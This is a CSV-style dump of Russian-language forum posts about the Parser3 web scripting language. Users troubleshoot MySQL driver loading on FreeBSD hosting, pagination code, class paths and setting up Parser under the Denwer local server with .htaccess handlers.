"30540","Угу... Копался в справке... Не помогло. У меня на форме присутствуют списки (<select></select>) которые заполняються из базы. Мне нужно получить индекс выбранной в списке записи. Такая конструкция работает только с методом GET. Вот на нём то и заковыка. Посылаемая на сервер строка кодируется броузером, т.к. HTTP не поддерживает руский (доки по спецификации)."
"30541","Используй следующую консруксцию:\
^current.offset(1) ;Сдвиг на позицию вниз по отношению к 1-й строке\
или\
^current.offset[cur](1) ;сдвиг по отношению к текущей строке\
затем выводи содержание столбцов.\
Подробнее смотри в справке по объекту table."
"30542","У меня на форме присутствуют списки (<select></select>) которые заполняються из базы. Мне нужно получить индекс выбранной в списке записи (это не проблема), но такая конструкция работает только с методом GET. Вот на нём то и заковыка. Посылаемые на сервер данные из простых тектовых полей на русском языке кодируется броузером, т.к. HTTP не поддерживает руский (доки по спецификации). В базу данные заносятся в закодированном виде и выбираются тоже. \
Chraset-ы на страницах, в Парсере и в базе утановлены в windows-1251.\
Платформа: Денвер-2 (последняя версия)."
"30544","Из за чего она возникает?\
И как ее лечить?"
"30545","И делать эту проверку в каждом файле?"
"30546","У меня на сайте есть новости с календарем, ну почти как в документации. Чтобы включить 18 день URL выглядит так /news/?day=18. А что нужно прописать в .htaccess, чтобы он преобразовывался в /news/18/  ?"
"30548","смотреть здесь:\
http://www.egoroff.spb.ru/portfolio/5.html\
\
на всякий случай - здесь:\
http://www.egoroff.spb.ru/portfolio/11.html\
\
немного думать и ... делать. ))"
"30554","_test.html файлы находит:\
mysql	/opt/hosting/site.ru/cgi-bin/lib/libparser3mysql.so (69452 байт)	/opt/hosting/site.ru/cgi-bin/mysql/libmysqlclient.so (154824 байт)\
\
Вот что test.cgi сказал:\
это когда на libmysqlclient.so\
lrwxr-xr-x  1 root  wheel  20 Jun 15 17:39 /opt/hosting/site.ru/cgi-bin/mysql/libmysqlclient.so -> libmysqlclient.so.12\
done\
это, когда сразу на libmysqlclient.so.12\
-rwxr-xr-x  1 root  wheel  154824 Apr 28 14:27 /opt/hosting-php/tatonka.ru/cgi-bin/mysql/libmysqlclient.so.12\
done"
"30557","select <чего там за поля у вас> from <tablename> order by <поле, по которому сортируем> desc"
"30559","т.е. \
<table width=\"100%\">\
<tr><td>one</td><td>two</td><td>three</td></tr>\
</table>\
\
_______________\
помогите пожалуйста"
"30560","про это же говорится в самом начале учебника..."
"30561","ORDER BY DESC это сотрировка по убыванию, у меня немного другое:\
например пользователь  сначала ввел\
строка1\
потом \
строка2\
затем\
строка3\
\
при обычном выводе получится:\
строка1\
строка2\
строка3\
ORDER BY DESC сортирует строки в зависимости о того какие элементы там\
присутствуют, мне же нужна безусловная сортировка:\
строка3\
сирока2\
строка1"
"30564","http://www.webber.ru/articles/article.html?article_id=279\
Здесь изложен общий принцип"
"30565","Если нетрудно, могли немогли бы Вы разъяснить\
строки:\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;debug]]\
$auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
что такое psql, csql, init?\
\
 $MAIN:pSQL[^mysql::init[$SQL.connect-string;debug]]\
 ^MAIN:pSQL.server{"
"30566","про pSQL это насчет переносимости SQL запросов\
а инициализация класса авторизации - это из класса авторизации... логично, не правда ли?"
"30568","Опять меня тут озадачили.\
Админы клянутся на библии, что на сервере стоит freebsd 5.2.\
Заливаю фришный парсер в cgi - premature end of script.\
Заливаю для redhat - всё работает.\
Работать отказывается mysql, всё ещё говорит driver failed to initialize client library '/opt/hosting/site.ru/cgi-bin/mysql/libmysqlclient.so.12', can not open the dynamic link module\
Хотя он есть. Указан в упор и пути все правильные..\
Ну не видит он его, хоть тресни..\
\
Что делать, незнаю.. \
Очень прошу помощи - работа горит, работодатель жаром пышет и обещает на кол посадить. А я не хочу на кол!\
\
Может у кого есть сайт на bsd 5.2 - 5.3, посоветуйте, или файлик дайте этот.."
"30570","Парсер-то работает, mysql не работает.."
"30572","странно, на net.ru вроде как freebsd 5.2 и мои бинарики там работают. Хотя там написано что 4.x, но я вижу что PostgreSQL собрана на 5.2 и очевидно на сервере стоит та же ОС."
"30573","Уважаемый - спасайте! \
Дайте бинарники. Больше никого не знаю, у кого 5.2, а спасение видимо только в этом."
"30574","дык берите, мне не жалко :)"
"30575","Где брать?\
Вот именно те, что гарантированно работают под 5.2?\
Если возможно нужен сам парсер, libparser3mysql.so, и желательно libmysqlclient.so, на всякий случай.. =)"
"30576","Где брать? Тебе дедукция должна помочь :)"
"30577","У меня та же фигня, что и у Osatuk: Parser работает, а с MySQL работать не хочет. А я с никсами - никак. Где взять работающие?"
"30578","Ещё позавчера. \
Оттуда. \
freebsdшная версия не работает, редхатовская работает. \
Нет, ну вот не ересь?"
"30579","а в библиотеках на хостинге."
"30580","А вот всётаки как объяснить то, что на сервере стоит:\
FreeBSD 5.2.1-RELEASE-p3\
А бинарники парсера бздишные работать отказываются.\
Зато редхатовские 7.3 работают на ура.. \
Я ж человек тёмный в бздях, я не понимаю этого.."
"30581","ну возможно во FreeBSD просто можно включить Linux binary compatibility (сам не пробовал) поэтому и работает. А бинарики собранные для FreeBSD мной (или Студией) не работают потому что там возможно чего-то нет, или не включена FreeBSD 4.x binary compatibility"
"30582","Я понимаю, что чуток флужу со своей проблемой, просто это вопрос моей зарплаты. =)\
Ситуация такая:\
На сервере стоит\
FreeBSD 5.2.1-RELEASE-p3\
И \"последний mysql\" (цитата админов).\
\
FreeBSDшные cgi-бинарники парсера выдают ошибку premature end,\
RedHatовские - работают. Соответственно и libparser3mysql.so тоже redhatoвский. А libmysqlclient.so естессно freebsdшный.\
\
При обращении к freebsdшной версии парсера, в логах сервера выдаются вот такие ошибки (от версии разнятся):\
/usr/libexec/ld-elf.so.1: Shared object \"libstdc++.so.3\" not found\
/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found\
\
При обраении к redhat версии парсера, сам он работает, а _test.html выдает известную ошибку:\
driver failed to initialize client library '/opt/hosting/site.ru/cgi-bin/libmysqlclient.so', can not open the dynamic link module\
./lib/libparser3mysql.so\
\
Какие могут быть решения?\
Найти redhat версию libmysqlclient.so?\
Что админам сказать? Они конечно дружественные, но пересобирать ничего не будут и shellа тоже не видать..\
\
Предложите пожалуйста какие-нибудь, а-то без работы останусь и без зарплаты."
"30583","Redhat compatibility включена, а bsd4 нет? Странная сборочка.. =)\
Как я понимаю - два варианта. Или собирать парсер под 5-й бздёй, или искать libmysqlclient.so от редхата?\
Что поможет? =)"
"30584","Очевивидно на сервере просто не стоит  libgcc или стоит, но в соотв. переменных окружения не прописан путь к местоположению нужных библиотек. Без админов эту проблему точно не решить."
"30586","надо в auto.p который самый основной задать что-нибудь, наподобие такого:\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/mysql/lib/mysql/libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
[/code]\
то есть полностью прописать путь до библиотеки /usr/local/mysql/lib/mysql/libmysqlclient.so"
"30587","даже неизвестно что чаще бывает :)"
"30588","Например имеются записи:\
рус.\
А\
Б\
лат.\
A\
B\
По какому принципу будут сортироваться строки при\
ORDER BY **** desc\
Как сделать, чтобы сначала выводились записи на англ. по алфавиту,\
а затем записи на русском так же по алфавиту?"
"30589","Спасибо."
"30590","1. http://www.parser.ru/forum/?id=30554 - ваше сообщение?\
тогда объясните, как так вы делаете ls директории /opt/hosting/site.ru/..., а получаете /opt/hosting-php/tatonka.ru/?\
\
2. откуда у вас этот libmysqlclient.so? скачали фиг знает откуда?\
\
3. почему бы не попробовать со стандартными путями? /usr/local/mysql/lib/libmysqlclient.so?\
\
4. не кажется ли вам, что кто-то мог попутать местами файлы в архивах с парсером?"
"30592","Начались проблемы со вставкой класса из отдельного файла.\
Расположение /home/tit.ru/www/lib/scr.p\
Прописал в /usr/local/parser/auto.p строчку:\
\
$CLASS_PATH[/home/tit.ru/www/lib]\
\
Пишу в файл /home/tit.ru/www/test/index.tit\
@USE\
scr.p\
\
Выдает \"not found along MAIN:CLASS_PATH\"\
\
\
Как исправить ?"
"30594","Есть метод :\
[code]\
@update[id;ocenka][rat;tot;res]\
^file:lock[rating]{\
$rt[^table::load[ratings/${id}.cfg]]\
$rat[^eval(($rt.rating * $rt.total + $ocenka) / ($rt.total + 1))]\
$tot[^eval($rt.total + 1)]\
$res[^table::create{rating	total\
$rat	$tot}]\
^res.save[ratings/${id}.cfg]\
}\
[/code]\
Так вот, обратите внимание на переменную $ocenka - строка ^eval(...), где она задействована - НЕ РАБОТАЕТ, все время дает в результате 0.\
Однако, если добавить такой кусочек :\
[code]\
$ss($ocenka)\
[/code]\
а потом вместо $ocenka использовать $ss - ВСЕ РАБОТАЕТ!!!\
Уже пару раз я сталкивался с таким поведением - пока не переприсвоишь переменную из параметра какой-то другой - не работает... В чем же дело?"
"30595","[code]\
  $CLASS_PATH[\
    ^table::create{path\
/../classes/\
    }\
  ]\
[/code]"
"30597","Приведи пример, pls."
"30598","Как загрузить функции из другого файла, затем исполнить его[чтобы функции и все все программное исполнилось и вконце остался только текст] и все это разом вывести.\
\
Пример.\
\
index.html\
----------\
@main[]\
^page[]\
\
@page[]\
Супер текст + ^какая-нить-функция[]\
----------\
\
\
index2.html\
----------\
@main[]\
^page[]\
\
@page[]\
$f[^file::load[binary;index.html]]\
$f.text\
----------\
\
Этот пример выводит только текст, не исполня код. \
\
Подскажите, покажите, ну или скажите в направлении чего двигаться?"
"30599","Вообще цель: сделать версию для печати, хочется как всегда быстро все сделать :)\
\
\
Вообще как организуют версию для печати?"
"30600",">> тогда объясните, как так вы делаете ls директории /opt/hosting/site.ru/..., а получаете /opt/hosting-php/tatonka.ru/?\
Не заменил путь. Просили просто меня, пути не открывать и сайт не называть.\
\
>> 2. откуда у вас этот libmysqlclient.so? скачали фиг знает откуда?\
Из ихней mysql, админы положили.\
\
>> 3. почему бы не попробовать со стандартными путями? /usr/local/mysql/lib/libmysqlclient.so?\
Пробовали.\
\
>> 4. не кажется ли вам, что кто-то мог попутать местами файлы в архивах с парсером?\
Хех.. Ну если до сих пор никто не жаловался, думаю это маловероятно..\
\
А вообще извиняюсь за беспокойство, всё решилось доустановкой нужных библиотек и признанием админами своей вины."
"30601","а так:\
\
[code]\
($rt.rating * $rt.total + ^ocenka.int[])\
[/code]"
"30604","Насколько я помню, под freebsd многие хостеры могут совсем изолировать клиентскую машину от серверного окружения. Эта технология называется как-то около \"Virtual Linux\". К сожалению, не знаю технических подробностей, но суть такова, что на freebsd работает куча виртуальных линухов, никак друг с другом не соприкасаясь (кроме диска). Именно поэтому у вас работает парсер под редхат, но не хочет под бсд, так как в этом режиме у виртуальной машины и духа bsd не остается. При этом админы, видимо, когда пересобирали в очередной раз машину, забыли собрать библиотеку mysql для вас, а попросту расшарили всем свою бсд-шную. Вот и не работает... Попробуйте найти от редхата и привинтить ее куда-нибудь на свою машину. Можно, к примеру, из rmp шапкинового попробовать выковырять..."
"30605","сайт уже сделан, принт-версию тока в конце решил сделать, так что надо то что есть на парсере, без БД и XML"
"30610","парень\
ты где такую траву берешь?;)"
"30611","Ты давай прямую ссылку, где можно прочитать про Subj. А то может форум закрыть, а вместо него написать : \"Мануал про Parser поможет\"."
"30612","Так как советуете не пробовал, т.к. работоспособность я обеспечил и своим методом. Мне не понятна сама причина такого поведения парсера!"
"30614","В документации я ничего похожего не нашёл, в прочем как и на форуме"
"30615","Вот код файла arc.html \
\
Код:	\
\
@title[] \
Архив гостиной \
\
@content[] \
\
^connect[mysql://root@localhost/mmm?charset=cp1251_koi8]{ \
\
\
^use[/public_gb/scr.p] \
$scroller[^scroller::create[ \
$.path_param[record] \
$.table_count[^int:sql{SELECT COUNT(*) FROM gbnew }[$.default{0}]] \
$.number_per_section[10] \
$.section_per_page[10000] \
$.type[page] \
]] \
\
$scroll[<br><span class=\"styleX\">^scroller.draw[<< ; >>]</span><br>] \
\
\
<b>$scroll</b> \
<hr> \
\
$gb[^table::sql{ \
SELECT * FROM gbnew \
ORDER BY \
id DESC \
}[ \
$.limit($scroller.number_per_section) \
$.offset($scroller.record_number-1) \
] \
] \
\
\
} \
\
^gb.menu{ \
\
} \
\
	\
\
\
Далее код файла, который упоминается в коде выше - scr.p (не знаю понадобится он или нет, и всё же...): \
\
Код:	\
\
@CLASS \
scroller \
\
#### \
# Scroller.p - draws the [section|page|record number] navigation ruler of your table records \
# \
# Calling of current operator looks like this \
# 1. first connect your scroller class by ^use[scroller.p] or @USE scroller.p \
# \
# 2. create scroller object by typing this row (parameters passed in hash) \
#   $scroller[^scroller::create[ \
#         $.request[$form:fields] \
#         $.path_param[record] \
#         $.table_count[^your_table.count[]] \
#         $.number_per_section[25] \
#         $.section_per_page[5] \
#         $.type[page] \
#         ] \
#      ] \
# \
#  Parameters Description: \
#   request - hash which contains fields with values \
#   path_param - name of request field which will pass the record number in the request query \
#      Example: $.path_param[record] -> the path will be: /path/?your_previous_params_if_any&record= \
#      WARNING! If you'll define the path_param, programm will override all params in request query with same name \
#   table_count - records count of table we want to scroll \
#   number_per_section - number of records per section \
#   section_per_page - number of sections per page \
#   type - scroller type, must be \"page\"(will display number of pages against records) or blank(will display number of records) \
# \
# 3. draw your ruler by typing this row \
#      ^scroller.draw[<;>; | ] \
#         < - previous navigation char \
#         > - next navigation char \
#         | - sections delimiter \
#    it will draw a navigation ruler of your table records \
# \
# 4. .select() current section records and .menu{} your table using code below(if you need to .menu{} any) \
#   $current_section[^your_table.select(^your_table.line[] >= $scroller.record_number && ^your_table.line[] <= ($scroller.record_number + $scroller.number_per_section - 1))] \
#   ^current_section.menu{ \
#      . \
#      . \
#      . \
#   } \
#### \
\
####################################### \
## creates an object and defines navigation ruler of your table records \
@create[params][path_param;field;value] \
## checking params for defining \
^if(!def $params || !($params is hash)){ \
   ^throw[parser.runtime;scroller;Defined none of parameters. Please, check your settings] \
} \
## link path creating and record number detecting \
^if(def $params.path_param){ \
   $path_param[$params.path_param] \
   $record_number(^form:$path_param.int(1)) \
}{ \
   ^throw[parser.runtime;scroller;Parameter ^$.path_param[] is undefined. Please, check your settings] \
} \
^if(def $params.request && $params.request is hash){ \
   $path[?^params.request.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=] \
}{ \
   $path[?^form:fields.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=] \
} \
## number per section detecting \
$number_per_section(^params.number_per_section.int(1)) \
^if($number_per_section <= 0){$number_per_section(1)} \
## record number optimising \
^if($record_number <=0){$record_number(1)} \
$record_number($record_number\\$number_per_section*$number_per_section) \
^if($number_per_section != 1){^record_number.inc[]} \
## section per page detecting and optimising \
^if(def $params.section_per_page){ \
   $section_per_page(^params.section_per_page.int(1)) \
   ^if($section_per_page <= 0){$section_per_page(1)} \
} \
## table count detecting \
$table_count(^params.table_count.int(1)) \
## scroller type detecting \
$type[$params.type] \
## section limits defining \
^if($section_per_page){ \
   $first_number(($record_number\\$number_per_section - $section_per_page\\2)*$number_per_section) \
   ^if($number_per_section != 1){^first_number.inc[]} \
   ^if($first_number <= 0){$first_number(1)} \
   $section($section_per_page) \
}{ \
   $first_number(1) \
   ^if($number_per_section == 1){ \
      $section($table_count) \
   }{ \
      $section(^math:ceiling($table_count/$number_per_section)) \
   } \
} \
## detecting last section page - it must be equal to $number_per_section \
^if(($number_per_section != 1 && $section_per_page || $section_per_page) && ^math:ceiling(($table_count-$first_number)/$number_per_section) < $section){ \
   $first_number(($table_count-$number_per_section*($section_per_page-1))\\$number_per_section*$number_per_section) \
   ^if($number_per_section != 1){^first_number.inc[]} \
   ^if($table_count%$number_per_section == 0 && $number_per_section != 1){^first_number.dec($number_per_section)} \
} \
## first section start position \
^if($first_number <=0){$first_number(1)} \
$second_number($first_number + $number_per_section - 1) \
######## end of @create[] constructor ######## \
\
######## draw method - draws the ruler ######## \
## returns a navigation ruler \
@draw[previous;next;delimeter][previous;next;delimeter;f1] \
## previous link \
^if($section_per_page && $first_number > 1){ \
   ^post_link[^eval($first_number - $number_per_section);^if(def $previous){^taint[html][$previous]}{&lt^;};$record_number;$path] \
} \
## scroller body \
^for[f1](1;$section){ \
   ^if($first_number <= $table_count){ \
      ^if($number_per_section == 1){ \
         ^post_link[$first_number;$first_number;$record_number;$path] \
      }{ \
         ^if($type eq \"page\"){ \
            ^post_link[$first_number;^math:ceiling($first_number/$number_per_section);$record_number;$path] \
         }{ \
            ^if($second_number > $table_count){ \
               ^post_link[$first_number;^if($first_number != $table_count){<nobr>${first_number}-$table_count</nobr>}{$first_number};$record_number;$path] \
            }{ \
               ^post_link[$first_number;<nobr>${first_number}-$second_number</nobr>;$record_number;$path] \
            } \
         } \
      } \
   } \
   ^first_number.inc($number_per_section) \
   ^second_number.inc($number_per_section) \
}{ \
## sections delimiter \
   ^if($number_per_section != 1 && $type ne \"page\" && ($first_number - $number_per_section) <= $table_count){^if(def $delimeter){^taint[html][$delimeter]}{ | }} \
} \
## next link \
^if($section_per_page && ($second_number - $number_per_section) < $table_count){ \
   ^post_link[^eval($second_number - $number_per_section + 1);^if(def $next){^taint[html][$next]}{&gt^;};$record_number;$path] \
} \
######## end of @draw[] method ######## \
\
######## link drawing method ######## \
## can be replaced by user to his/her needings \
@post_link[first_number;text_link;record_number;path][first_number;text_link;record_number;path] \
$pages[^eval($table_count\\10)] \
$www[^eval($pages - ^math:ceiling($first_number/$number_per_section) + 2)] \
^if($record_number != $first_number){ \
   $result[<a href=\"/gb/guestbook.html${path}$first_number\">$www</a>] \
}{ \
   $result[<span style=\"background-color:#ffffff^; color:#426394^; padding:0 3 1 3\">$www</span>] \
} \
######## end of @post_link operator ######## \
	\
\
\
нужно чтобы на странице arc.html страницы были в разбиты по месяцам, ну типа: \
Год 2003 \
Январь - 123, 124, 126.... 278 и т.д. \
Февраль - 341, 342 и т.д. \
... \
... \
Год 2004 \
.... \
\
Всем кому не лень - вперёд!"
"30616","Возможно ли чтобы часть кода не выполнялась?\
К примеру:\
$sting[\
^name[]\
]\
$string.save[name.html]\
В файле получаю не ^name[], а результат работы кода.\
Если используем ^rem{}, то документ вообще пустой."
"30617","[code]\
$tot[^eval($rt.total + 1)]\
[/code]\
и\
[code]\
$tot($rt.total + 1)\
[/code]\
- почти одно и то-же, и писать ^eval() в большинстве сллучаев не нужно (обратите внимание на используемые тут скобки)\
\
если точнее то нужно бывает по моему в двух случаях:\
1. когда хочется в тело страницы вывести результат выражения без промежуточной переменной, например: ^eval(2+2), но $a(2+2)\
2. когда мы хотим получить не число, а [b]строку[/b] которая есть число отформатированное заданым образом, например: $a[^eval(4/3)[%2.2f]]\
во всех остальных случаях круглые скобки рулят, даже тут:\
[code]\
^if($a+2 > $b){...}{...}\
[/code]\
\
P.S. по поводу вопроса о поведении переменных: \"не верю\". сделал copy/paste кода - все работает (правда вы забыли показать как вы вызываете ваш код)"
"30618","Я попытался сделать постраничный вывод из бд, вот что пока получилось:\
@pageoutput[]\
#Кол-во записей которое выведем на страницу\
$itemcount[10]\
$conn[mysql://login:pswd@localhost/catalog]\
^connect[$conn]{\
#Смотрим сколько записей в таблице\
$records[^int:sql{\
SELECT \
	COUNT(*)\
FROM	\
	company\
}]\
#Вычисляем сколько страниц должно получиться\
$pages[^eval($records\\$itemcount)]\
#Вычисляем остается ли остаток при делении\
$ost[^eval($records%$itemcount)]\
#Если остаток есть прибавляем еще одну страницу\
^if($ost!=0){$k[1]}\
^for[i](1;$pages+$k){\
	$page_num[$i]\
	$page_num\
	}\
$out[^table::sql{\
SELECT \
	* \
FROM \
	company \
ORDER BY\
	id\
DESC\
\
LIMIT\
	10\
}]\
^if($out){\
^out.menu{<a href=\"/members/card.html?$out.id\">$out.name </a> <br>}<br> \
}\
}\
\
Как увязать ссылки на страницы с самими страницами?\
И как сделать, чтобы на другой странице выводились записи\
не опять с 1, а с той на которой остановились?\
Я застрял, не знаю что делать дальше."
"30619","Тщательная проверка показала, что действительно вы правы: код работает...Что просто заставляет меня усомниться в моей вменяемости - не мог же я не заметить, что все работает и написать в форум??? \
Прошу прощения за беспокойство, в следующий раз буду 7 раз перепроверять :)\
\
(но код-то не [b]работал[/b]!)"
"30620","Если вы хотите, чтоб в переменной хранилась строка [b]^name[][/b], то надо указать парсеру что птичка - это символ, а не признак вызова метода, т.е. ввести двойную птичку... Кажется так."
"30621","Вот http://www.spearance.ru/parser3/scroller/\
и вот http://www.parser.ru/examples/mscroller/"
"30622","а если таких переменных штук пять, плюс масса операторов работы с БД, там код очень большой. В том то и проблема, что там шаблон кода для создания новой страницы. Я уже думал про вышеописаный способ,  но думал что возможно сухествует более елегантное решение"
"30623","или эскейпте служебные символы или закружайте что-то содержащее код из файла/БД."
"30624","Открою страшный секрет - бд в мире насчитывается около 200 тысяч наименований, вам на каждую ссылку?\
\
+ чтение документации кусками никогда не поможет"
"30625","Я читал, но пример предлагаемый Misha v.3 очень сложный,\
вообще предлагаемые примеры в этом разделе сложны для понимания"
"30626","Помогите, пожалуйста, решить проблему.\
Установил набор Denver + Parser с целью изучить язык Parser (до этого обходился только HTML, но с Denverом дело имел), занялся первым уроком из документации к Parser. В директории WebServers\\home создал папку с \"test.ru\" с поддиректорией \"www\" в которой создал файлы index.html, auto.p и sections.cfg (как описано в уроке). Запустил сервер, открыл test.ru, но ничего не работает, браузер выводит лишь ^navigation [] вместо обещанного меню. \
Подскажите, пожалуйста, в чем тут дело, что я делаю не так?\
\
В лог файле в папке WebServers\\usr\\local\\parser3 прочитал о следующих ошибках:\
\
[Thu Apr 08 23:53:49 2004] /Test/parser3/mail.html: t:/home/localhost/www/test/parser3/mail.html(1:7): 'send' connect to smtp.domain.ru:25 failed [smtp.connect]\
[Thu Apr 08 23:56:26 2004] /Test/parser3/mail.html: \\usr\\local\\parser3/auto.p(63:30): parse error, expecting `'['' or `'{'' or `'('' [parser.compile]\
[Thu Apr 08 23:56:46 2004] /Test/parser3/mail.html: \\usr\\local\\parser3/auto.p(63:30): parse error, expecting `'['' or `'{'' or `'('' [parser.compile]\
[Thu Apr 08 23:56:49 2004] /Test/parser3/mail.html: \\usr\\local\\parser3/auto.p(63:30): parse error, expecting `'['' or `'{'' or `'('' [parser.compile]\
[Thu Apr 08 23:57:20 2004] /Test/parser3/mail.html: t:/home/localhost/www/test/parser3/mail.html(2:7): 'send' connect to localhost:25 failed [smtp.connect]\
[Thu Apr 08 23:58:05 2004] /Test/parser3/mail.html: t:/home/localhost/www/test/parser3/mail.html(3:7): 'send' connect to localhost:25 failed [smtp.connect]\
\
Что это значит? Помогите разобраться."
"30627","В директории webservers\\home\\test1\\www\\ должен быть файл .htaccess \
\
Его содержание:\
----------\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
----------\
\
Если это-то, если нет, пиши еще я здесь сегодня, попробую помочь."
"30628","Точно такая же проблема!!! Не хочет работать... \
Сделал все как посоветовали - не работает, только надпись ^navigation и все... Помогите!"
"30629","Сначала, попробуйте набрать http://localhost в броузре,\
если все работает, то должна появиться страница с \
заголовком \"Ура заработало!\",\
затем в списке url выбирите проверку parser, если \
появилась страница, то parser работает.\
Далее создайте txt файл и наберите в нем таблицу,\
только делайте ее вручную, если выделить готовую табл.\
в справке и встаить ее, работать не будет. Переимен. файл\
в sections.cfg\
Создайте файл auto.p и скопируйте туда строчки с navigation из\
справки. В html файле напишите ^navigation[], должно все работать.\
Итак, в дериктории test1.ru у Вас должно быть минимум 4 файла:\
1 .htaccess\
2 sections.cfg\
3 auto.p\
4 index.html\
\
Еще в Денвере может возникать ошибка связанная с директ. cgi-bin,\
если таковая возникает напишите.\
Какая версия Денвера?"
"30630","Вот полное название дистрибутива денвера с парсером Base_Parser_2003-12-17_a1.3.27_p4.3.0_m3.23.53_pma2.3.0_p311.exe\
\
Все как вы писали - сделано и работает (Денвер), оно и до экспериментов с парсером работало.\
\
Кажется мне, что все из-за таблицы. Что-то с трудом я представляю как она выглядит при ручном наборе в блокноте. Если не тяжело, на е-мэйл сбросьте пример таблицы, сделанной в блокноте. Пожалуйста! Или подробнее расскажите про табуляцию."
"30631","И в localhost парсер тестируется норамльно, т.е. там в окне тестирования он умножает 2 на 2 и в результате пишет четыре - это говорит о том, что парсер вроде работает..."
"30632","section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	контакты	/contacts/\
4	цены	/price/\
5	Ваше мнение	/gbook/	\
\
Вообще-то в справке написанно как ее делать:\
\"Здесь используется так называемый формат tab-delimited. \
Столбцы разделяются знаком табуляции, а строки - переводом каретки.\"\
\
У меня другая версия:\
Base_Parser_2004-04-17_a1.3.27_p4.3.6_m3.23.53_pma2.5.6_p311.exe\
В этой версии у меня был только один глюк с cgi-bin директорией"
"30633","Мдя... что-то все равно не работает... Может нужны еще какие-то настройки дополнительные? Я ничего другого не делал, просто установил Денвер и все... Ничего больше не настраивал, просто мне ничего не нужно было для теста php-скриптов, вот...\
Заранее спасибо."
"30634","1).htaccess положили в каталог?\
\
2)Попробуйте закачать новую версию Денвера \
(какая стоит у меня я указал).\
Кстати parser' ом можно пользоваться и на iis, который \
устанавливается вместе с windows, однако на мой взгляд\
Денвером пользоваться удобней.\
\
Если при наборе адреса страницы у Вас появляется\
^navigation[] значит parser не установлен обработчиком\
html страниц если же появляется  ошибка напишите."
"30635","Вот качаю сейчас Денвер новый (тот, что у вас), .htaccess положил в каталог.\
\
Вот вы говорите >>parser не установлен обработчиком\
html страниц<<, а как это проверить? и как назначить его обработчиком?"
"30636","Извините господа, но Вы указываете неправильный путь к обработчику. Для базы Денвера которую Вы скачали, Вы должны в папку \"www\" директории \"test1.ru\" положить файл .htaccess c таким содержанием : \
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
И я точно знаю, после этого у Вас всё заработает."
"30637","Уважаемый Иван, насчет пути я так сразу и подумал, но все равно ничего не работает."
"30638",".htaccess для того и нужен, чтобы назначить parser\
обработчиком html\
У меня .htaccess следующего содержания:\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
Положите .htaccess в дерикторию\
../home/test1.ru/www"
"30639",".htaccess для того и нужен, чтобы назначить parser\
обработчиком html\
У меня .htaccess следующего содержания:\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
Положите .htaccess в дерикторию\
../home/test1.ru/www"
"30640","Да, так у меня тоже такого же содержания файл, тем не менее не хочет работать:( Ужас...\
\
Жаль, конечно, внешне мне парсер понравился, только вот тестироватться никак не хочет...\
\
Может, для скорейшей оперативной помощи/консультации вот моя ICQ: 334875964"
"30641","Объясните подробней, что Вы делаете, и что получается.\
У Вас ошибка появлется или просто html грузится"
"30642","Просто грузится html с таким вот содержанием: ^navigation и все.\
\
Значит, так, в директории test1.ru/www лежат следующие файлы: \
.htaccess\
sections.cfg\
index.html\
auto.p\
\
Денвер поставил новый.\
Ничего больше не менял в настройках.\
\
Вот содержимое .htaccess:\
-------\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
------\
\
Вот содержимое sections.cfg:\
\
------\
section_id	name	uri\
1	Главная	/\
2	Новости	 /news/\
3	контакты 	/contacts/\
4	цены	/price/\
5	Ваше мнение	/gbook/	\
-----\
\
Вот содержимое html'a:\
\
-----\
<html>\
<body>\
^navigation[]\
</body>\
</html>\
-----\
\
Вот содержимое auto.p:\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
------\
\
Вот так вот... Затем запускаю в IE index.html, а там ^navigation и все..."
"30643","1.Проверьте файл index у него должно быть расширение HTML(не htm)\
2.Проверьте, точно ли работает localhost, пропробуйте перезапустить\
сервер.\
3.Попробуйте вставить в начало html \
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
4.Вы index.html через браузер открываете, т.е test1.ru набираете?"
"30644","Отлично!!! Заработало!!!\
\
Причина была бональной: я открывал html двойным кликом, а когда попробывал как вы сказали, через строку браузера, все заработало!\
\
Не знаю, так ли должно быть (чтоб сам index.html по двойному клику не лбрабатывался), но через браузер заработало! \
\
Исходный текст html'a не исправлял.\
\
Всем и, лично Александру за понимание и терпение, спасибо за помощь."
"30646","Так и только так  должны открываться приложения, и parser и  php и другие."
"30648","Все сделал, как написано - безрезультатно.\
Localhost работает, парсер работает, а вот пример не работает."
"30649","Как не работает, опишите подробней(что делаете и что получается)\
